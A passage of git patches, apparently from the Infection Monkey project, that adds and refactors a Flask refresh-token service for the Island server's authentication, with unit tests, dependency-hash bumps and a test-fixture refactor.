"pypi", - "version": "==2.8.19.10" + "version": "==2.8.19.11" }, "types-pytz": { "hashes": [ - "sha256:40ca448a928d566f7d44ddfde0066e384f7ffbd4da2778e42a4570eaca572446", - "sha256:487d3e8e9f4071eec8081746d53fa982bbc05812e719dcbf2ebf3d55a1a4cd28" + "sha256:2dd8a7667740e89ced9da99e4749327bde4c1d78b45c5c38217a296f4564b2b6", + "sha256:9422758e1d506fa4b75bc3679b5cbc9ce218696a9178788464b074ff6b986e0a" ], "index": "pypi", - "version": "==2022.7.1.2" + "version": "==2023.2.0.1" }, "types-pyyaml": { "hashes": [ - "sha256:19304869a89d49af00be681e7b267414df213f4eb89634c4495fa62e8f942b9f", - "sha256:5314a4b2580999b2ea06b2e5f9a7763d860d6e09cdf21c0e9561daa9cbd60178" + "sha256:5aed5aa66bd2d2e158f75dda22b059570ede988559f030cf294871d3b647e3e8", + "sha256:c51b1bd6d99ddf0aa2884a7a328810ebf70a4262c292195d3f4f9a0005f9eeb6" ], "index": "pypi", - "version": "==6.0.12.8" + "version": "==6.0.12.9" }, "typing-extensions": { "hashes": [ From 04c87fd3936078f6a33636b77a755bb8d0018371 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 29 Mar 2023 14:10:38 +0300 Subject: [PATCH 0976/1338] UT: Split up flask app build method to make it more reusable --- .../unit_tests/monkey_island/conftest.py | 50 +++++++++++-------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 15deaa7f73b..6cab7d59cdc 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -1,7 +1,7 @@ import os import re from collections.abc import Callable -from typing import Set, Type +from typing import Set, Tuple, Type import flask_restful import mongomock @@ -39,7 +39,34 @@ def inner(file_name: str): return inner -def init_mock_security_app(): +def init_mock_security_app() -> Tuple[Flask, flask_restful.Api]: + app, api = init_mock_app() + user_datastore = init_mock_datastore() + + island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) + app.security = Security(app, user_datastore) + ds = app.security.datastore + with app.app_context(): + ds.create_user( + email="unittest@me.com", username="test", password="password", roles=[island_role] + ) + ds.commit() + + set_current_user(app, ds, "unittest@me.com") + + return app, api + + +def init_mock_datastore() -> MongoEngineUserDatastore: + db = MongoEngine() + db.disconnect(alias="default") + db_name = insecure_generate_random_string(8) + db.connect(db_name, mongo_client_class=mongomock.MongoClient) + + return MongoEngineUserDatastore(db, User, Role) + + +def init_mock_app() -> Tuple[Flask, flask_restful.Api]: app = Flask(__name__) app.config["SECRET_KEY"] = "test_key" @@ -67,25 +94,6 @@ def init_mock_security_app(): api.representations = {"application/json": output_json} monkey_island.cc.app.init_app_url_rules(app) - - db = MongoEngine() - db.disconnect(alias="default") - db_name = insecure_generate_random_string(8) - db.connect(db_name, mongo_client_class=mongomock.MongoClient) - - user_datastore = MongoEngineUserDatastore(db, User, Role) - - island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) - app.security = Security(app, user_datastore) - ds = app.security.datastore - with app.app_context(): - ds.create_user( - email="unittest@me.com", username="test", password="password", roles=[island_role] - ) - ds.commit() - - set_current_user(app, ds, "unittest@me.com") - return app, api From 42310d3302bd082dd9ec91d719cb9b828dad40d6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 29 Mar 2023 14:17:46 +0300 Subject: [PATCH 0977/1338] Island: Add token service to generate refresh tokens --- monkey/monkey_island/cc/app.py | 10 ++- .../authentication_facade.py | 11 +++ .../configure_flask_security.py | 11 ++- .../flask_resources/login.py | 4 + .../flask_resources/register.py | 4 + .../authentication_service/token_service.py | 38 +++++++++ .../test_authentication_service.py | 8 +- .../test_token_service.py | 78 +++++++++++++++++++ vulture_allowlist.py | 4 + 9 files changed, 161 insertions(+), 7 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/token_service.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 78b1154f6f9..0f2cde82952 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,7 +3,7 @@ import flask_restful from flask import Flask, Response, send_from_directory -from flask_security import UserDatastore +from flask_security import Security from werkzeug.exceptions import NotFound from common import DIContainer @@ -44,6 +44,7 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) +from monkey_island.cc.services.authentication_service.token_service import TokenService from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -158,7 +159,10 @@ def init_app( return app -def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): +def _build_authentication_facade(container: DIContainer, security: Security): repository_encryptor = container.resolve(ILockableEncryptor) island_event_queue = container.resolve(IIslandEventQueue) - return AuthenticationFacade(repository_encryptor, island_event_queue, user_datastore) + refresh_token_service = TokenService(security) + return AuthenticationFacade( + repository_encryptor, island_event_queue, security.datastore, refresh_token_service + ) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 1e58779fc96..178f5e4380e 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,9 +1,12 @@ +from typing import Dict + from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor +from .token_service import TokenService from .user import User @@ -17,10 +20,12 @@ def __init__( repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, user_datastore: UserDatastore, + token_service: TokenService, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue self._datastore = user_datastore + self._token_service = token_service def needs_registration(self) -> bool: """ @@ -36,6 +41,12 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) + def generate_user_tokens(self, user: User) -> Dict[str, str]: + """ + Generates new tokens for a specific user + """ + return self._token_service.generate_token_pair(user.fs_uniquifier) + def revoke_all_tokens_for_all_users(self): """ Revokes all tokens for all users diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 41ae07eff23..650d85fe329 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -16,10 +16,12 @@ from .user import User SECRET_FILE_NAME = ".flask_security_configuration.json" -AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time +AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes +# Refresh token lives for 30 minutes longer than auth token +REFRESH_TOKEN_EXPIRATION_DELTA = 30 * 60 # 30 minutes -def configure_flask_security(app, data_dir: Path) -> MongoEngineUserDatastore: +def configure_flask_security(app, data_dir: Path) -> Security: _setup_flask_mongo(app) flask_security_config = _generate_flask_security_configuration(data_dir) @@ -31,6 +33,9 @@ def configure_flask_security(app, data_dir: Path) -> MongoEngineUserDatastore: app.config["SECURITY_SEND_REGISTER_EMAIL"] = False app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME + # This is a custom configuration parameter that we use + # It shows how much time the refresh token is valid after the auth token expires + app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] = REFRESH_TOKEN_EXPIRATION_DELTA app.config["SECURITY_RETURN_GENERIC_RESPONSES"] = True # Ignore CSRF, because we don't store tokens in cookies app.config["WTF_CSRF_CHECK_DEFAULT"] = False @@ -68,7 +73,7 @@ def to_dict(self, only_user): app.session_interface = _disable_session_cookies() - return user_datastore + return app.security def _setup_flask_mongo(app): diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 1312baba134..9cf56a497db 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -3,6 +3,7 @@ from flask import Response, make_response, request from flask.typing import ResponseValue +from flask_login import current_user from flask_security.views import login from monkey_island.cc.flask_utils import AbstractResource, responses @@ -37,6 +38,9 @@ def post(self): try: username, password = get_username_password_from_request(request) response: ResponseValue = login() + # TODO send these back + _tokens = self._authentication_facade.generate_user_tokens(current_user) + del _tokens except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 5becd6e4c4b..1083f1768bb 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -3,6 +3,7 @@ from flask import Response, make_response, request from flask.typing import ResponseValue +from flask_login import current_user from flask_security.views import register from monkey_island.cc.flask_utils import AbstractResource, responses @@ -36,6 +37,9 @@ def post(self): }, HTTPStatus.CONFLICT username, password = get_username_password_from_request(request) response: ResponseValue = register() + # TODO send these back + _tokens = self._authentication_facade.generate_user_tokens(current_user) + del _tokens except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/token_service.py b/monkey/monkey_island/cc/services/authentication_service/token_service.py new file mode 100644 index 00000000000..61caf062fd9 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/token_service.py @@ -0,0 +1,38 @@ +from typing import Dict, TypeAlias + +from flask_security import Security + +TokenPair: TypeAlias = Dict[str, str] + + +class TokenService: + def __init__(self, security: Security): + self._token_serializer = security.remember_token_serializer + self._refresh_token_expiration = ( + security.app.config["SECURITY_TOKEN_MAX_AGE"] + + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] + ) + + def generate_token_pair(self, user_id: str) -> TokenPair: + """ + Generates a refresh token for a user + :param user_id: Identification string that will be encoded in the token + :return: A refresh token + """ + # This returns the same token because the timestamp and user_id are the same + access_token = self._token_serializer.dumps(user_id) + refresh_token = self._token_serializer.dumps(user_id) + + return {"access_token": access_token, "refresh_token": refresh_token} + + def refresh_tokens(self, refresh_token: str) -> TokenPair: + """ + Refreshes an auth token + :param refresh_token: A refresh token + :return: A new token pair + """ + user_id = self._token_serializer.loads( + refresh_token, max_age=self._refresh_token_expiration + ) + + return self.generate_token_pair(user_id) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index b3c5e573896..33fa8b43c17 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,6 +11,7 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication +from monkey_island.cc.services.authentication_service.token_service import TokenService from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -43,6 +44,11 @@ def mock_user_datastore(autouse=True) -> UserDatastore: return MagicMock(spec=UserDatastore) +@pytest.fixture +def mock_token_service(autouse=True) -> UserDatastore: + return MagicMock(spec=TokenService) + + @pytest.fixture def authentication_facade( mock_flask_app, @@ -51,7 +57,7 @@ def authentication_facade( mock_user_datastore: UserDatastore, ) -> AuthenticationFacade: return AuthenticationFacade( - mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + mock_repository_encryptor, mock_island_event_queue, mock_user_datastore, mock_token_service ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py new file mode 100644 index 00000000000..d66808f5395 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py @@ -0,0 +1,78 @@ +from typing import Dict, Tuple + +import pytest +from flask import Flask +from flask_restful import Api +from flask_security import Security +from itsdangerous import SignatureExpired +from tests.unit_tests.monkey_island.conftest import init_mock_app, init_mock_datastore + +from monkey_island.cc.services.authentication_service import AccountRole +from monkey_island.cc.services.authentication_service.token_service import TokenService + +USER_EMAIL = "unittest@me.com" + + +def build_app(auth_token_expiration, refresh_token_expiration) -> Tuple[Flask, Api]: + app, api = init_mock_app() + app.config["SECURITY_TOKEN_MAX_AGE"] = auth_token_expiration + app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] = refresh_token_expiration + user_datastore = init_mock_datastore() + + island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) + app.security = Security(app, user_datastore) + ds = app.security.datastore + with app.app_context(): + ds.create_user(email=USER_EMAIL, username="test", password="password", roles=[island_role]) + ds.commit() + + return app, api + + +def generate_token_pair( + freezer, + generation_time: str, + payload: str, + access_token_expiration=1 * 60, + refresh_token_expiration=1 * 60, +) -> Tuple[Dict[str, str], TokenService]: + app, _ = build_app(access_token_expiration, refresh_token_expiration) + token_service = TokenService(app.security) + freezer.move_to(generation_time) + tokens = token_service.generate_token_pair(payload) + freezer.move_to("2020-01-01 00:01:30") + return tokens, token_service + + +def test_refresh_tokens(freezer): + access_token_expiration = refresh_token_expiration = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + refresh_attempt_time = "2020-01-01 00:01:30" + payload = "fake_user_id" + # Since time and payload are static the token is static + expected_token = "ImZha2VfdXNlcl9pZCI.XgvhWg._kbb1SATOQN6UySDQc9gO757oJc" + + tokens, token_service = generate_token_pair( + freezer, generation_time, payload, access_token_expiration, refresh_token_expiration + ) + freezer.move_to(refresh_attempt_time) + + new_tokens = token_service.refresh_tokens(tokens["refresh_token"]) + + assert new_tokens != tokens + assert new_tokens["access_token"] == expected_token + + +def test_refresh_tokens__expired(freezer): + access_token_expiration = refresh_token_expiration = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + refresh_attempt_time = "2020-01-01 00:03:00" + payload = "fake_user_id" + + tokens, token_service = generate_token_pair( + freezer, generation_time, payload, access_token_expiration, refresh_token_expiration + ) + freezer.move_to(refresh_attempt_time) + + with pytest.raises(SignatureExpired): + token_service.refresh_tokens(tokens["refresh_token"]) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 1b5276c7d34..317396f65a5 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -19,6 +19,7 @@ from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository +from monkey_island.cc.services.authentication_service.token_service import TokenService from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -144,3 +145,6 @@ http_island_api_client.get_otp IslandAPIAgentOTPProvider AGENT_OTP_ENVIRONMENT_VARIABLE + +# Remove after #3137 +TokenService.refresh_tokens From 56410ebc5c8f877bc82aa9ce5f02dfee97de0db3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 30 Mar 2023 11:37:40 +0300 Subject: [PATCH 0978/1338] Island: Change refresh token timedelta to 3 minutes --- .../authentication_service/configure_flask_security.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 650d85fe329..2f2837db0f0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -17,8 +17,8 @@ SECRET_FILE_NAME = ".flask_security_configuration.json" AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes -# Refresh token lives for 30 minutes longer than auth token -REFRESH_TOKEN_EXPIRATION_DELTA = 30 * 60 # 30 minutes +# Refresh token lives for 3 minutes longer than auth token +REFRESH_TOKEN_EXPIRATION_DELTA = 3 * 60 # 3 minutes def configure_flask_security(app, data_dir: Path) -> Security: From b3c2f8302858bc3386a1744e37abe42cd85f064e Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 29 Mar 2023 18:36:41 +0300 Subject: [PATCH 0979/1338] Island: Change token manager to only handle refresh token Flask-security-too already generates authentication token, it's better to amend the response with a refresh token --- monkey/monkey_island/cc/app.py | 6 +- .../authentication_facade.py | 14 ++--- .../flask_resources/login.py | 2 +- .../flask_resources/register.py | 2 +- .../refresh_token_manager.py | 31 ++++++++++ .../authentication_service/token_service.py | 38 ------------- .../test_authentication_service.py | 6 +- ...rvice.py => test_refresh_token_manager.py} | 56 +++++++++++-------- vulture_allowlist.py | 6 +- 9 files changed, 84 insertions(+), 77 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py delete mode 100644 monkey/monkey_island/cc/services/authentication_service/token_service.py rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/{test_token_service.py => test_refresh_token_manager.py} (55%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 0f2cde82952..a44fe89ba6a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,7 +44,9 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) -from monkey_island.cc.services.authentication_service.token_service import TokenService +from monkey_island.cc.services.authentication_service.refresh_token_manager import ( + RefreshTokenManager, +) from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -162,7 +164,7 @@ def init_app( def _build_authentication_facade(container: DIContainer, security: Security): repository_encryptor = container.resolve(ILockableEncryptor) island_event_queue = container.resolve(IIslandEventQueue) - refresh_token_service = TokenService(security) + refresh_token_service = RefreshTokenManager(security) return AuthenticationFacade( repository_encryptor, island_event_queue, security.datastore, refresh_token_service ) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 178f5e4380e..37e0b6d8283 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,12 +1,10 @@ -from typing import Dict - from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from .token_service import TokenService +from .refresh_token_manager import RefreshToken, RefreshTokenManager from .user import User @@ -20,12 +18,12 @@ def __init__( repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, user_datastore: UserDatastore, - token_service: TokenService, + refresh_token_manager: RefreshTokenManager, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue self._datastore = user_datastore - self._token_service = token_service + self._refresh_token_manager = refresh_token_manager def needs_registration(self) -> bool: """ @@ -41,11 +39,11 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) - def generate_user_tokens(self, user: User) -> Dict[str, str]: + def generate_refresh_token(self, user: User) -> RefreshToken: """ - Generates new tokens for a specific user + Generates a refresh token for a specific user """ - return self._token_service.generate_token_pair(user.fs_uniquifier) + return self._refresh_token_manager.generate_refresh_token(user.fs_uniquifier) def revoke_all_tokens_for_all_users(self): """ diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 9cf56a497db..300de4e3119 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -39,7 +39,7 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = login() # TODO send these back - _tokens = self._authentication_facade.generate_user_tokens(current_user) + _tokens = self._authentication_facade.generate_refresh_token(current_user) del _tokens except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 1083f1768bb..dd82c182719 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -38,7 +38,7 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = register() # TODO send these back - _tokens = self._authentication_facade.generate_user_tokens(current_user) + _tokens = self._authentication_facade.generate_refresh_token(current_user) del _tokens except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py b/monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py new file mode 100644 index 00000000000..1cf572c4a1a --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/refresh_token_manager.py @@ -0,0 +1,31 @@ +from typing import TypeAlias + +from flask_security import Security + +RefreshToken: TypeAlias = str + + +class RefreshTokenManager: + def __init__(self, security: Security): + self._token_serializer = security.remember_token_serializer + self._refresh_token_expiration = ( + security.app.config["SECURITY_TOKEN_MAX_AGE"] + + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] + ) + + def generate_refresh_token(self, payload: str) -> RefreshToken: + """ + Generates a refresh token for a user + :param payload: String that will be encoded in the token + :return: A refresh token + """ + refresh_token = self._token_serializer.dumps(payload) + + return refresh_token + + def validate_refresh_token(self, refresh_token: str): + """ + Validates a refresh token + :param refresh_token: A refresh token to validate + """ + self._token_serializer.loads(refresh_token, max_age=self._refresh_token_expiration) diff --git a/monkey/monkey_island/cc/services/authentication_service/token_service.py b/monkey/monkey_island/cc/services/authentication_service/token_service.py deleted file mode 100644 index 61caf062fd9..00000000000 --- a/monkey/monkey_island/cc/services/authentication_service/token_service.py +++ /dev/null @@ -1,38 +0,0 @@ -from typing import Dict, TypeAlias - -from flask_security import Security - -TokenPair: TypeAlias = Dict[str, str] - - -class TokenService: - def __init__(self, security: Security): - self._token_serializer = security.remember_token_serializer - self._refresh_token_expiration = ( - security.app.config["SECURITY_TOKEN_MAX_AGE"] - + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] - ) - - def generate_token_pair(self, user_id: str) -> TokenPair: - """ - Generates a refresh token for a user - :param user_id: Identification string that will be encoded in the token - :return: A refresh token - """ - # This returns the same token because the timestamp and user_id are the same - access_token = self._token_serializer.dumps(user_id) - refresh_token = self._token_serializer.dumps(user_id) - - return {"access_token": access_token, "refresh_token": refresh_token} - - def refresh_tokens(self, refresh_token: str) -> TokenPair: - """ - Refreshes an auth token - :param refresh_token: A refresh token - :return: A new token pair - """ - user_id = self._token_serializer.loads( - refresh_token, max_age=self._refresh_token_expiration - ) - - return self.generate_token_pair(user_id) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 33fa8b43c17..d196e950b7f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,7 +11,9 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication -from monkey_island.cc.services.authentication_service.token_service import TokenService +from monkey_island.cc.services.authentication_service.refresh_token_manager import ( + RefreshTokenManager, +) from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -46,7 +48,7 @@ def mock_user_datastore(autouse=True) -> UserDatastore: @pytest.fixture def mock_token_service(autouse=True) -> UserDatastore: - return MagicMock(spec=TokenService) + return MagicMock(spec=RefreshTokenManager) @pytest.fixture diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py similarity index 55% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py index d66808f5395..434430876d2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py @@ -1,14 +1,17 @@ -from typing import Dict, Tuple +from typing import Tuple import pytest from flask import Flask from flask_restful import Api from flask_security import Security -from itsdangerous import SignatureExpired +from itsdangerous import BadData, SignatureExpired from tests.unit_tests.monkey_island.conftest import init_mock_app, init_mock_datastore from monkey_island.cc.services.authentication_service import AccountRole -from monkey_island.cc.services.authentication_service.token_service import TokenService +from monkey_island.cc.services.authentication_service.refresh_token_manager import ( + RefreshToken, + RefreshTokenManager, +) USER_EMAIL = "unittest@me.com" @@ -29,50 +32,57 @@ def build_app(auth_token_expiration, refresh_token_expiration) -> Tuple[Flask, A return app, api -def generate_token_pair( +def generate_refresh_token( freezer, generation_time: str, payload: str, access_token_expiration=1 * 60, refresh_token_expiration=1 * 60, -) -> Tuple[Dict[str, str], TokenService]: +) -> Tuple[RefreshToken, RefreshTokenManager]: app, _ = build_app(access_token_expiration, refresh_token_expiration) - token_service = TokenService(app.security) + token_service = RefreshTokenManager(app.security) freezer.move_to(generation_time) - tokens = token_service.generate_token_pair(payload) - freezer.move_to("2020-01-01 00:01:30") - return tokens, token_service + refresh_token = token_service.generate_refresh_token(payload) + freezer.move_to(generation_time) + return refresh_token, token_service -def test_refresh_tokens(freezer): - access_token_expiration = refresh_token_expiration = 1 * 60 # 1 minute +def test_generate_refresh_token(freezer): + access_token_expiration = refresh_token_delta = 1 * 60 # 1 minute generation_time = "2020-01-01 00:00:00" refresh_attempt_time = "2020-01-01 00:01:30" payload = "fake_user_id" # Since time and payload are static the token is static - expected_token = "ImZha2VfdXNlcl9pZCI.XgvhWg._kbb1SATOQN6UySDQc9gO757oJc" + expected_token = "ImZha2VfdXNlcl9pZCI.XgvhAA.qZjpQeZVPgG29Q6geXhW22mcU_4" - tokens, token_service = generate_token_pair( - freezer, generation_time, payload, access_token_expiration, refresh_token_expiration + refresh_token, token_manager = generate_refresh_token( + freezer, generation_time, payload, access_token_expiration, refresh_token_delta ) freezer.move_to(refresh_attempt_time) - new_tokens = token_service.refresh_tokens(tokens["refresh_token"]) - - assert new_tokens != tokens - assert new_tokens["access_token"] == expected_token + token_manager.validate_refresh_token(refresh_token) + assert refresh_token == expected_token -def test_refresh_tokens__expired(freezer): - access_token_expiration = refresh_token_expiration = 1 * 60 # 1 minute +def test_validate_refresh_token__expired(freezer): + access_token_expiration = refresh_token_delta = 1 * 60 # 1 minute generation_time = "2020-01-01 00:00:00" refresh_attempt_time = "2020-01-01 00:03:00" payload = "fake_user_id" - tokens, token_service = generate_token_pair( - freezer, generation_time, payload, access_token_expiration, refresh_token_expiration + refresh_token, token_manager = generate_refresh_token( + freezer, generation_time, payload, access_token_expiration, refresh_token_delta ) freezer.move_to(refresh_attempt_time) with pytest.raises(SignatureExpired): - token_service.refresh_tokens(tokens["refresh_token"]) + token_manager.validate_refresh_token(refresh_token) + + +def test_validate_refresh_token__invalid(freezer): + app, _ = build_app(auth_token_expiration=1 * 60, refresh_token_expiration=1 * 60) + token_manager = RefreshTokenManager(app.security) + invalid_token = "invalid_token" + + with pytest.raises(BadData): + token_manager.validate_refresh_token(invalid_token) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 317396f65a5..2f11d2d6bf1 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -19,7 +19,9 @@ from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository -from monkey_island.cc.services.authentication_service.token_service import TokenService +from monkey_island.cc.services.authentication_service.refresh_token_manager import ( + RefreshTokenManager, +) from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -147,4 +149,4 @@ AGENT_OTP_ENVIRONMENT_VARIABLE # Remove after #3137 -TokenService.refresh_tokens +RefreshTokenManager.validate_refresh_token From f71087d6c77b8342cd655876a2b7d1c1e612a048 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 30 Mar 2023 16:33:17 +0300 Subject: [PATCH 0980/1338] UT: Remove a duplicate statement test_refresh_token_manager.py --- .../authentication_service/test_refresh_token_manager.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py index 434430876d2..e66622aea9a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_refresh_token_manager.py @@ -43,7 +43,6 @@ def generate_refresh_token( token_service = RefreshTokenManager(app.security) freezer.move_to(generation_time) refresh_token = token_service.generate_refresh_token(payload) - freezer.move_to(generation_time) return refresh_token, token_service From 4acd335a1b8e40c9ae27e3514732664f7eb40d78 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 30 Mar 2023 17:50:24 +0300 Subject: [PATCH 0981/1338] Island: Split up TokenManager into validator and generator --- monkey/monkey_island/cc/app.py | 18 +++- .../authentication_facade.py | 13 +-- .../refresh_token_manager.py | 31 ------- .../authentication_service/token/__init__.py | 3 + .../token/token_generator.py | 18 ++++ .../token/token_validator.py | 16 ++++ .../authentication_service/token/types.py | 3 + .../monkey_island/cc/services/__init__.py | 0 .../authentication_service/__init__.py | 0 .../test_authentication_service.py | 27 ++++-- .../test_refresh_token_manager.py | 87 ------------------- .../authentication_service/token/__init__.py | 0 